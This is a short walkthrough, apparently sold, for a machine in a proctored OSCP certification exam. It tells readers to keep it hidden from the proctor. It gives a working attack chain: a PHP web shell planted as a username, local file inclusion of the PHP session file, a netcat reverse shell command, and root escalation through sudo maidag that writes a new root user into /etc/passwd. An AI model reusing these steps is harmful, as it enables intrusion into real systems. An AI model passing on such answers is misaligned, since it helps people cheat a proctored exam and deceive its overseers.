Konki .97 WalkThrough

!!! Make sure You are reading beyound proctor's sight !!!

MILLHOUSE 80 Web App

First register an user in MILLHOUSE web app

it's username must be this

```
<?php system($_POST["cmd"]);?>
```

Record your Session ID , let's mark it as `my session`

FlightPath 7080 Web App

use this exploit to LFI(Local File Inclusion):https://www.exploit-db.com/exploits/47121

don't forget to login once and record REQUEST by burp suite, base on login request and modified it to continue

and now,use LFI to include below PATH

```
/var/lib/php/sessions/sess_<my session>
```

such as

```
/var/lib/php/sessions/sess_qqqqqqqqqqqqqqqqqqqqqqqqqq
```

And write command you want to execute such as reverse shell in POST variability ,such as below(better to use your own revershell payload)

```
&cmd=nc 8.8.8.8 4444 -e /bin/bash
```

Now we have shell,and we can find local.txt in `/var/www`

Priv Escal

Execute `sudo -l`

you can find you can execute `/usr/sbin/maidag` with `sudo`

By Google, you could find this exploit: https://cxsecurity.com/issue/WLB-2019110141

by this exploit, you can write content to any file with `root` identity

I recommend you add a new user who's id is same as root, and put it to `/etc/passwd`

After add it, you can login to new root user by using `su`

Now, you can get root.txt

Thank you for purchasing, and hope you can pass the exam and become an OSCP!